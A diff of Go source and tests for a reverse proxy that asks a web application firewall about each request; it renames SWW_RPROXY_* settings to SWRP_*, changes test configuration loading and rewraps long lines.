@@ -522,10 +554,13 @@ func (rq *request) startRequestTimer() {
|
|||||||
rq.mu.Lock()
|
rq.mu.Lock()
|
||||||
defer rq.mu.Unlock()
|
defer rq.mu.Unlock()
|
||||||
|
|
||||||
rq.requestTimer = time.AfterFunc(time.Until(deadline), rq.requestTimedOut)
|
rq.requestTimer = time.AfterFunc(
|
||||||
|
time.Until(deadline),
|
||||||
|
rq.requestTimedOut,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// requestTimedOut is called when SWW_RPROXY_MAX_REQUEST_TIME_MS runs out while the
|
// requestTimedOut is called when SWRP_MAX_REQUEST_TIME_MS runs out while the
|
||||||
// request is still on its way to the app. The answer names the side rproxy was
|
// request is still on its way to the app. The answer names the side rproxy was
|
||||||
// waiting on at that moment: 408 when it was waiting for the visitor to send more
|
// waiting on at that moment: 408 when it was waiting for the visitor to send more
|
||||||
// of its body, 504 when it was waiting for the app to be reached or to take what
|
// of its body, 504 when it was waiting for the app to be reached or to take what
|
||||||
@@ -552,7 +587,7 @@ func (rq *request) requestTimedOut() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// wroteRequest is called once the app has been sent the whole request:
|
// wroteRequest is called once the app has been sent the whole request:
|
||||||
// SWW_RPROXY_MAX_REQUEST_TIME_MS ends and SWW_RPROXY_MAX_RESPONSE_TIME_MS starts.
|
// SWRP_MAX_REQUEST_TIME_MS ends and SWRP_MAX_RESPONSE_TIME_MS starts.
|
||||||
func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
|
func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
|
||||||
if info.Err != nil {
|
if info.Err != nil {
|
||||||
return // the transport gives up, or tries again
|
return // the transport gives up, or tries again
|
||||||
@@ -567,7 +602,7 @@ func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
|
|||||||
rq.startResponseTimer(requestEnd)
|
rq.startResponseTimer(requestEnd)
|
||||||
}
|
}
|
||||||
|
|
||||||
// startResponseTimer starts SWW_RPROXY_MAX_RESPONSE_TIME_MS, which runs from
|
// startResponseTimer starts SWRP_MAX_RESPONSE_TIME_MS, which runs from
|
||||||
// requestEnd, unless it has started already.
|
// requestEnd, unless it has started already.
|
||||||
func (rq *request) startResponseTimer(requestEnd time.Time) {
|
func (rq *request) startResponseTimer(requestEnd time.Time) {
|
||||||
limit := rq.h.config.MaxResponseTime
|
limit := rq.h.config.MaxResponseTime
|
||||||
@@ -586,7 +621,7 @@ func (rq *request) startResponseTimer(requestEnd time.Time) {
|
|||||||
rq.responseTimedOut)
|
rq.responseTimedOut)
|
||||||
}
|
}
|
||||||
|
|
||||||
// responseTimedOut is called when SWW_RPROXY_MAX_RESPONSE_TIME_MS runs out before the
|
// responseTimedOut is called when SWRP_MAX_RESPONSE_TIME_MS runs out before the
|
||||||
// app has sent its whole answer.
|
// app has sent its whole answer.
|
||||||
func (rq *request) responseTimedOut() {
|
func (rq *request) responseTimedOut() {
|
||||||
rq.mu.Lock()
|
rq.mu.Lock()
|
||||||
@@ -604,7 +639,7 @@ func (rq *request) responseReceived() {
|
|||||||
|
|
||||||
// setResponseDeadline sends the status and headers of the app's answer, with
|
// setResponseDeadline sends the status and headers of the app's answer, with
|
||||||
// at least minSendTime, before ReverseProxy reads the answer's body, and then
|
// at least minSendTime, before ReverseProxy reads the answer's body, and then
|
||||||
// the rest has until SWW_RPROXY_MAX_RESPONSE_TIME_MS after the end of the request.
|
// the rest has until SWRP_MAX_RESPONSE_TIME_MS after the end of the request.
|
||||||
func (rq *request) setResponseDeadline() {
|
func (rq *request) setResponseDeadline() {
|
||||||
limit := rq.h.config.MaxResponseTime
|
limit := rq.h.config.MaxResponseTime
|
||||||
if limit == 0 {
|
if limit == 0 {
|
||||||
@@ -613,7 +648,9 @@ func (rq *request) setResponseDeadline() {
|
|||||||
|
|
||||||
deadline := rq.endRequest().Add(limit)
|
deadline := rq.endRequest().Add(limit)
|
||||||
|
|
||||||
_ = rq.rc.SetWriteDeadline(time.Now().Add(max(time.Until(deadline), minSendTime)))
|
_ = rq.rc.SetWriteDeadline(
|
||||||
|
time.Now().Add(max(time.Until(deadline), minSendTime)),
|
||||||
|
)
|
||||||
_ = rq.rc.Flush()
|
_ = rq.rc.Flush()
|
||||||
_ = rq.rc.SetWriteDeadline(deadline)
|
_ = rq.rc.SetWriteDeadline(deadline)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,11 +1,11 @@
|
|||||||
// Package rproxy is the reverse proxy in front of one app that asks waf
|
// Package rproxy is the reverse proxy in front of one app that asks waf
|
||||||
// about each request. It passes a request waf allows to the app and the
|
// about each request. It passes a request waf allows to the app and the
|
||||||
// app's answer back, within the size and time limits. Any other answer from
|
// app's answer back, within the size and time limits. Any other answer from
|
||||||
// waf goes to the visitor as waf gave it. SWW_RPROXY_DEFAULT_DISPOSITION
|
// waf goes to the visitor as waf gave it. SWRP_DEFAULT_DISPOSITION
|
||||||
// decides only when waf cannot be connected to, does not answer at all, or
|
// decides only when waf cannot be connected to, does not answer at all, or
|
||||||
// does not answer within SWW_RPROXY_TIMEOUT_MS. rproxy itself refuses a request with a
|
// does not answer within SWRP_TIMEOUT_MS. rproxy itself refuses a request with a
|
||||||
// method it does not pass on, or one it cannot put to waf as the visitor
|
// method it does not pass on, or one it cannot put to waf as the visitor
|
||||||
// sent it. It keeps nothing between requests and writes nothing to disk. "rproxy" in
|
// sent it. It keeps nothing between requests and never touches disk. "rproxy" in
|
||||||
// SPEC.md says what it does.
|
// SPEC.md says what it does.
|
||||||
package rproxy
|
package rproxy
|
||||||
|
|
||||||
@@ -73,12 +73,15 @@ type Server struct {
|
|||||||
|
|
||||||
// New returns the server `sww rproxy` runs. Go's server itself refuses
|
// New returns the server `sww rproxy` runs. Go's server itself refuses
|
||||||
// a request line and headers over requestHeaderMaxBytes, with 431, closes a
|
// a request line and headers over requestHeaderMaxBytes, with 431, closes a
|
||||||
// connection idle for idleTimeout, and applies SWW_RPROXY_MAX_REQUEST_TIME_MS while
|
// connection idle for idleTimeout, and applies SWRP_MAX_REQUEST_TIME_MS while
|
||||||
// the headers arrive. The handler applies the time and size limits from then
|
// the headers arrive. The handler applies the time and size limits from then
|
||||||
// on.
|
// on.
|
||||||
func New(params Params) *Server {
|
func New(params Params) *Server {
|
||||||
backend := params.Config.WAFBackend
|
backend := params.Config.WAFBackend
|
||||||
errorLog := slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn)
|
errorLog := slog.NewLogLogger(
|
||||||
|
params.ProcessLog.Handler(),
|
||||||
|
slog.LevelWarn,
|
||||||
|
)
|
||||||
h := &handler{
|
h := &handler{
|
||||||
config: params.Config,
|
config: params.Config,
|
||||||
requestLog: params.RequestLog,
|
requestLog: params.RequestLog,
|
||||||
@@ -105,7 +108,7 @@ func New(params Params) *Server {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// WaitForReports returns once the reports being sent have gone or failed,
|
// WaitForReports returns once the reports being sent have gone or failed,
|
||||||
// which SWW_RPROXY_TIMEOUT_MS bounds. Any report after this call is dropped: that of
|
// which SWRP_TIMEOUT_MS bounds. Any report after this call is dropped: that of
|
||||||
// a WebSocket that closes while rproxy stops, for one.
|
// a WebSocket that closes while rproxy stops, for one.
|
||||||
func (s *Server) WaitForReports() {
|
func (s *Server) WaitForReports() {
|
||||||
s.h.reportsMu.Lock()
|
s.h.reportsMu.Lock()
|
||||||
@@ -214,8 +217,8 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
|
|
||||||
// passToApp passes the request on to the app, unless a limit or its path keeps
|
// passToApp passes the request on to the app, unless a limit or its path keeps
|
||||||
// it from the app. waf answers a path under ownEndpointPrefix itself, so
|
// it from the app. waf answers a path under ownEndpointPrefix itself, so
|
||||||
// such a request gets here only when SWW_RPROXY_DEFAULT_DISPOSITION allowed it.
|
// such a request gets here only when SWRP_DEFAULT_DISPOSITION allowed it. ctx is the
|
||||||
// ctx is the request's own context.
|
// request's own context.
|
||||||
func (rq *request) passToApp(ctx context.Context) {
|
func (rq *request) passToApp(ctx context.Context) {
|
||||||
maxBytes := rq.h.config.MaxRequestSize
|
maxBytes := rq.h.config.MaxRequestSize
|
||||||
|
|
||||||
|
|||||||
+228
-82
@@ -19,7 +19,6 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/rproxy"
|
"sneak.berlin/go/smallwebwaf/internal/rproxy"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||||
@@ -44,13 +43,13 @@ const (
|
|||||||
|
|
||||||
// The settings the tests set.
|
// The settings the tests set.
|
||||||
const (
|
const (
|
||||||
timeoutSetting = "SWW_RPROXY_TIMEOUT_MS"
|
timeoutSetting = "SWRP_TIMEOUT_MS"
|
||||||
defaultDisposition = "SWW_RPROXY_DEFAULT_DISPOSITION"
|
defaultDisposition = "SWRP_DEFAULT_DISPOSITION"
|
||||||
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
|
trustedProxies = "SWRP_TRUSTED_PROXIES"
|
||||||
maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
maxRequestSize = "SWRP_MAX_REQUEST_SIZE"
|
||||||
maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
maxResponseSize = "SWRP_MAX_RESPONSE_SIZE"
|
||||||
maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
maxRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
|
||||||
maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
maxResponseTime = "SWRP_MAX_RESPONSE_TIME_MS"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The headers the tests set and look at.
|
// The headers the tests set and look at.
|
||||||
@@ -355,11 +354,17 @@ func startServerLogging(
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
settings := map[string]string{
|
settings := map[string]string{
|
||||||
"SWW_RPROXY_WAF_BACKEND": backend, "SWW_RPROXY_UPSTREAM_URL": appURL,
|
"SWRP_WAF_BACKEND": backend, "SWRP_UPSTREAM_URL": appURL,
|
||||||
}
|
}
|
||||||
maps.Copy(settings, env)
|
maps.Copy(settings, env)
|
||||||
|
|
||||||
cfg, err := config.RProxyFromEnvironment(configtest.Viper(settings))
|
cfg, err := config.RProxyFromEnvironment(
|
||||||
|
func(name string) (string, bool) {
|
||||||
|
value, ok := settings[name]
|
||||||
|
|
||||||
|
return value, ok
|
||||||
|
},
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("settings %v: %v", settings, err)
|
t.Fatalf("settings %v: %v", settings, err)
|
||||||
}
|
}
|
||||||
@@ -367,10 +372,18 @@ func startServerLogging(
|
|||||||
server := rproxy.New(rproxy.Params{
|
server := rproxy.New(rproxy.Params{
|
||||||
Config: cfg,
|
Config: cfg,
|
||||||
RequestLog: requestLog,
|
RequestLog: requestLog,
|
||||||
ProcessLog: requestlog.NewProcessLogger(processLog, "test", slog.LevelInfo),
|
ProcessLog: requestlog.NewProcessLogger(
|
||||||
|
processLog,
|
||||||
|
"test",
|
||||||
|
slog.LevelInfo,
|
||||||
|
),
|
||||||
})
|
})
|
||||||
|
|
||||||
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
|
listener, err := (&net.ListenConfig{}).Listen(
|
||||||
|
t.Context(),
|
||||||
|
"tcp",
|
||||||
|
localhost+":0",
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
@@ -400,7 +413,10 @@ type answered struct {
|
|||||||
func visit(t *testing.T, req *http.Request) answered {
|
func visit(t *testing.T, req *http.Request) answered {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
transport := &http.Transport{DisableKeepAlives: true, DisableCompression: true}
|
transport := &http.Transport{
|
||||||
|
DisableKeepAlives: true,
|
||||||
|
DisableCompression: true,
|
||||||
|
}
|
||||||
defer transport.CloseIdleConnections()
|
defer transport.CloseIdleConnections()
|
||||||
|
|
||||||
res, err := transport.RoundTrip(req)
|
res, err := transport.RoundTrip(req)
|
||||||
@@ -426,8 +442,12 @@ func newRequest(
|
|||||||
) *http.Request {
|
) *http.Request {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(t.Context(), method, "http://"+addr+target,
|
req, err := http.NewRequestWithContext(
|
||||||
body)
|
t.Context(),
|
||||||
|
method,
|
||||||
|
"http://"+addr+target,
|
||||||
|
body,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("new request: %v", err)
|
t.Fatalf("new request: %v", err)
|
||||||
}
|
}
|
||||||
@@ -447,7 +467,11 @@ func wantGreeting(t *testing.T, got answered) {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
if got.status != http.StatusOK || got.body != greeting {
|
if got.status != http.StatusOK || got.body != greeting {
|
||||||
t.Errorf("answered %d %q, want the app's greeting", got.status, got.body)
|
t.Errorf(
|
||||||
|
"answered %d %q, want the app's greeting",
|
||||||
|
got.status,
|
||||||
|
got.body,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -544,7 +568,12 @@ func TestPassesAnAllowedRequestToTheAppAndItsAnswerBack(t *testing.T) {
|
|||||||
requestIDHeader: asked.header.Get(requestIDHeader),
|
requestIDHeader: asked.header.Get(requestIDHeader),
|
||||||
} {
|
} {
|
||||||
if received.Header.Get(name) != want {
|
if received.Header.Get(name) != want {
|
||||||
t.Errorf("the app saw %s %q, want %q", name, received.Header.Get(name), want)
|
t.Errorf(
|
||||||
|
"the app saw %s %q, want %q",
|
||||||
|
name,
|
||||||
|
received.Header.Get(name),
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -657,7 +686,12 @@ func TestAnAnswerWithoutAContentTypeGetsNone(t *testing.T) {
|
|||||||
})
|
})
|
||||||
_, _, server := startServer(t, standIn.URL, app.URL, nil)
|
_, _, server := startServer(t, standIn.URL, app.URL, nil)
|
||||||
|
|
||||||
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
|
req := httptest.NewRequestWithContext(
|
||||||
|
t.Context(),
|
||||||
|
http.MethodGet,
|
||||||
|
"/",
|
||||||
|
http.NoBody,
|
||||||
|
)
|
||||||
w := httptest.NewRecorder()
|
w := httptest.NewRecorder()
|
||||||
|
|
||||||
server.Handler.ServeHTTP(w, req)
|
server.Handler.ServeHTTP(w, req)
|
||||||
@@ -667,8 +701,11 @@ func TestAnAnswerWithoutAContentTypeGetsNone(t *testing.T) {
|
|||||||
// stops it: the key with no value.
|
// stops it: the key with no value.
|
||||||
values, there := w.Header()["Content-Type"]
|
values, there := w.Header()["Content-Type"]
|
||||||
if !there || len(values) != 0 {
|
if !there || len(values) != 0 {
|
||||||
t.Errorf("the answer's Content-Type is %q, there: %v, want the key with no value",
|
t.Errorf(
|
||||||
values, there)
|
"the answer's Content-Type is %q, there: %v, want the key with no value",
|
||||||
|
values,
|
||||||
|
there,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -703,8 +740,12 @@ func TestRemovesTheVisitorsLookupHeadersWhenWAFGivesNone(t *testing.T) {
|
|||||||
wantGreeting(t, visit(t, req))
|
wantGreeting(t, visit(t, req))
|
||||||
|
|
||||||
header := <-seen
|
header := <-seen
|
||||||
if len(header.Values(asnHeader)) != 0 || len(header.Values(countryHeader)) != 0 {
|
if len(header.Values(asnHeader)) != 0 ||
|
||||||
t.Errorf("the app saw the visitor's lookup headers: %v", header)
|
len(header.Values(countryHeader)) != 0 {
|
||||||
|
t.Errorf(
|
||||||
|
"the app saw the visitor's lookup headers: %v",
|
||||||
|
header,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -737,7 +778,8 @@ func TestDenyGivesTheVisitorWAFsAnswer(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["disposition"] != dispositionDeny || line["default_disposition"] != nil {
|
if line["disposition"] != dispositionDeny ||
|
||||||
|
line["default_disposition"] != nil {
|
||||||
t.Errorf("line %v, want waf's deny", line)
|
t.Errorf("line %v, want waf's deny", line)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -751,7 +793,11 @@ func TestADeniedHeadKeepsWAFsContentLength(t *testing.T) {
|
|||||||
|
|
||||||
got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody))
|
got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody))
|
||||||
if got.status != http.StatusForbidden ||
|
if got.status != http.StatusForbidden ||
|
||||||
got.header.Get(contentLengthHeader) != strconv.Itoa(len(deniedBody)) {
|
got.header.Get(
|
||||||
|
contentLengthHeader,
|
||||||
|
) != strconv.Itoa(
|
||||||
|
len(deniedBody),
|
||||||
|
) {
|
||||||
t.Errorf("answered %+v, want waf's 403 and its length", got)
|
t.Errorf("answered %+v, want waf's 403 and its length", got)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -775,7 +821,14 @@ func TestAnAnswerRProxyHoldsWholeIsSentBeforeItsLogLine(t *testing.T) {
|
|||||||
log := heldLog{release: make(chan struct{})}
|
log := heldLog{release: make(chan struct{})}
|
||||||
standIn := startWAF(t, deny)
|
standIn := startWAF(t, deny)
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, _ := startServerLogging(t, standIn.URL, app.URL, nil, log, io.Discard)
|
addr, _ := startServerLogging(
|
||||||
|
t,
|
||||||
|
standIn.URL,
|
||||||
|
app.URL,
|
||||||
|
nil,
|
||||||
|
log,
|
||||||
|
io.Discard,
|
||||||
|
)
|
||||||
|
|
||||||
t.Cleanup(func() { close(log.release) })
|
t.Cleanup(func() { close(log.release) })
|
||||||
|
|
||||||
@@ -792,9 +845,16 @@ func TestAnAnswerRProxyHoldsWholeIsSentBeforeItsLogLine(t *testing.T) {
|
|||||||
}()
|
}()
|
||||||
|
|
||||||
body, err := io.ReadAll(res.Body)
|
body, err := io.ReadAll(res.Body)
|
||||||
if err != nil || res.StatusCode != tc.status || string(body) != tc.body {
|
if err != nil || res.StatusCode != tc.status ||
|
||||||
t.Errorf("answered %d %q (%v), want %d %q", res.StatusCode, body, err,
|
string(body) != tc.body {
|
||||||
tc.status, tc.body)
|
t.Errorf(
|
||||||
|
"answered %d %q (%v), want %d %q",
|
||||||
|
res.StatusCode,
|
||||||
|
body,
|
||||||
|
err,
|
||||||
|
tc.status,
|
||||||
|
tc.body,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -840,8 +900,11 @@ func TestCloseClosesTheConnectionWithoutAnAnswer(t *testing.T) {
|
|||||||
|
|
||||||
text, err := io.ReadAll(conn)
|
text, err := io.ReadAll(conn)
|
||||||
if err != nil || len(text) != 0 {
|
if err != nil || len(text) != 0 {
|
||||||
t.Errorf("read %q (%v), want the connection closed without an answer",
|
t.Errorf(
|
||||||
text, err)
|
"read %q (%v), want the connection closed without an answer",
|
||||||
|
text,
|
||||||
|
err,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
report := standIn.report(t)
|
report := standIn.report(t)
|
||||||
@@ -855,7 +918,9 @@ func TestCloseClosesTheConnectionWithoutAnAnswer(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime(t *testing.T) {
|
func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
backend := startWAFAnsweringReports(t,
|
backend := startWAFAnsweringReports(t,
|
||||||
@@ -878,7 +943,10 @@ func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime(t *testing.T) {
|
|||||||
|
|
||||||
duration, ok := line["duration_response_ms"].(float64)
|
duration, ok := line["duration_response_ms"].(float64)
|
||||||
if !ok || duration < 0 {
|
if !ok || duration < 0 {
|
||||||
t.Errorf("line %v, want a duration_response_ms that is not negative", line)
|
t.Errorf(
|
||||||
|
"line %v, want a duration_response_ms that is not negative",
|
||||||
|
line,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -897,12 +965,16 @@ func answeringWith(answer http.HandlerFunc) func(t *testing.T) string {
|
|||||||
func noAnswers() map[string]func(t *testing.T) string {
|
func noAnswers() map[string]func(t *testing.T) string {
|
||||||
return map[string]func(t *testing.T) string{
|
return map[string]func(t *testing.T) string{
|
||||||
"no connection": func(*testing.T) string { return nowhere },
|
"no connection": func(*testing.T) string { return nowhere },
|
||||||
"no answer at all": answeringWith(func(http.ResponseWriter, *http.Request) {
|
"no answer at all": answeringWith(
|
||||||
panic(http.ErrAbortHandler)
|
func(http.ResponseWriter, *http.Request) {
|
||||||
}),
|
panic(http.ErrAbortHandler)
|
||||||
"a slow start": answeringWith(func(_ http.ResponseWriter, r *http.Request) {
|
},
|
||||||
<-r.Context().Done()
|
),
|
||||||
}),
|
"a slow start": answeringWith(
|
||||||
|
func(_ http.ResponseWriter, r *http.Request) {
|
||||||
|
<-r.Context().Done()
|
||||||
|
},
|
||||||
|
),
|
||||||
"headers followed by a stalled body": answeringWith(
|
"headers followed by a stalled body": answeringWith(
|
||||||
func(w http.ResponseWriter, r *http.Request) {
|
func(w http.ResponseWriter, r *http.Request) {
|
||||||
w.Header().Set(dispositionHeader, dispositionDeny)
|
w.Header().Set(dispositionHeader, dispositionDeny)
|
||||||
@@ -944,21 +1016,29 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
|
|||||||
t.Run(tc.name+" with the default "+setting, func(t *testing.T) {
|
t.Run(tc.name+" with the default "+setting, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
|
standIn := startWAF(
|
||||||
if tc.disposition != "" {
|
t,
|
||||||
w.Header().Set(dispositionHeader, tc.disposition)
|
func(w http.ResponseWriter, _ *http.Request) {
|
||||||
}
|
if tc.disposition != "" {
|
||||||
|
w.Header().Set(dispositionHeader, tc.disposition)
|
||||||
|
}
|
||||||
|
|
||||||
w.Header().Set(fromWAFHeader, addedHeaderValue)
|
w.Header().Set(fromWAFHeader, addedHeaderValue)
|
||||||
w.WriteHeader(tc.status)
|
w.WriteHeader(tc.status)
|
||||||
_, _ = io.WriteString(w, tc.body)
|
_, _ = io.WriteString(w, tc.body)
|
||||||
})
|
},
|
||||||
|
)
|
||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||||
t.Error("the app was asked")
|
t.Error("the app was asked")
|
||||||
})
|
})
|
||||||
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
addr, out := startRProxy(
|
||||||
defaultDisposition: setting,
|
t,
|
||||||
})
|
standIn.URL,
|
||||||
|
app.URL,
|
||||||
|
map[string]string{
|
||||||
|
defaultDisposition: setting,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
got := get(t, addr, "/")
|
got := get(t, addr, "/")
|
||||||
if got.status != tc.status || got.body != tc.body ||
|
if got.status != tc.status || got.body != tc.body ||
|
||||||
@@ -971,8 +1051,13 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["status"] != float64(tc.status) || line["default_disposition"] != nil {
|
if line["status"] != float64(tc.status) ||
|
||||||
t.Errorf("line %v, want status %d and no default", line, tc.status)
|
line["default_disposition"] != nil {
|
||||||
|
t.Errorf(
|
||||||
|
"line %v, want status %d and no default",
|
||||||
|
line,
|
||||||
|
tc.status,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if out.has("waf gave no answer") {
|
if out.has("waf gave no answer") {
|
||||||
@@ -1033,7 +1118,8 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
|
|||||||
})
|
})
|
||||||
|
|
||||||
got := get(t, addr, "/")
|
got := get(t, addr, "/")
|
||||||
if got.status != http.StatusInternalServerError || len(got.body) != size {
|
if got.status != http.StatusInternalServerError ||
|
||||||
|
len(got.body) != size {
|
||||||
t.Errorf("answered %d with %d bytes, want waf's 500 with %d",
|
t.Errorf("answered %d with %d bytes, want waf's 500 with %d",
|
||||||
got.status, len(got.body), size)
|
got.status, len(got.body), size)
|
||||||
}
|
}
|
||||||
@@ -1045,7 +1131,11 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
|
|||||||
func startWAFWriting(t *testing.T, text string) string {
|
func startWAFWriting(t *testing.T, text string) string {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
|
listener, err := (&net.ListenConfig{}).Listen(
|
||||||
|
t.Context(),
|
||||||
|
"tcp",
|
||||||
|
localhost+":0",
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
@@ -1123,10 +1213,15 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
|||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||||
t.Error("the app was asked")
|
t.Error("the app was asked")
|
||||||
})
|
})
|
||||||
addr, out := startRProxy(t, backend(t), app.URL, map[string]string{
|
addr, out := startRProxy(
|
||||||
timeoutSetting: "60000",
|
t,
|
||||||
defaultDisposition: setting,
|
backend(t),
|
||||||
})
|
app.URL,
|
||||||
|
map[string]string{
|
||||||
|
timeoutSetting: "60000",
|
||||||
|
defaultDisposition: setting,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
|
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
|
||||||
t.Errorf("answered %+v, want 502", got)
|
t.Errorf("answered %+v, want 502", got)
|
||||||
@@ -1135,7 +1230,10 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
|||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["status"] != float64(http.StatusBadGateway) ||
|
if line["status"] != float64(http.StatusBadGateway) ||
|
||||||
line["disposition"] != nil || line["default_disposition"] != nil {
|
line["disposition"] != nil || line["default_disposition"] != nil {
|
||||||
t.Errorf("line %v, want status 502 and no disposition", line)
|
t.Errorf(
|
||||||
|
"line %v, want status 502 and no disposition",
|
||||||
|
line,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
out.waitFor(t, "waf's answer is dropped")
|
out.waitFor(t, "waf's answer is dropped")
|
||||||
@@ -1168,9 +1266,14 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, out := startRProxy(t, backend(t), app.URL, map[string]string{
|
addr, out := startRProxy(
|
||||||
timeoutSetting: "200",
|
t,
|
||||||
})
|
backend(t),
|
||||||
|
app.URL,
|
||||||
|
map[string]string{
|
||||||
|
timeoutSetting: "200",
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
wantGreeting(t, get(t, addr, "/"))
|
wantGreeting(t, get(t, addr, "/"))
|
||||||
|
|
||||||
@@ -1187,10 +1290,15 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
|
|||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||||
t.Error("the app was asked")
|
t.Error("the app was asked")
|
||||||
})
|
})
|
||||||
addr, out := startRProxy(t, backend(t), app.URL, map[string]string{
|
addr, out := startRProxy(
|
||||||
timeoutSetting: "200",
|
t,
|
||||||
defaultDisposition: dispositionDeny,
|
backend(t),
|
||||||
})
|
app.URL,
|
||||||
|
map[string]string{
|
||||||
|
timeoutSetting: "200",
|
||||||
|
defaultDisposition: dispositionDeny,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
got := get(t, addr, "/")
|
got := get(t, addr, "/")
|
||||||
if got.status != http.StatusServiceUnavailable {
|
if got.status != http.StatusServiceUnavailable {
|
||||||
@@ -1213,16 +1321,24 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
|
|||||||
t.Run("with the default "+disposition, func(t *testing.T) {
|
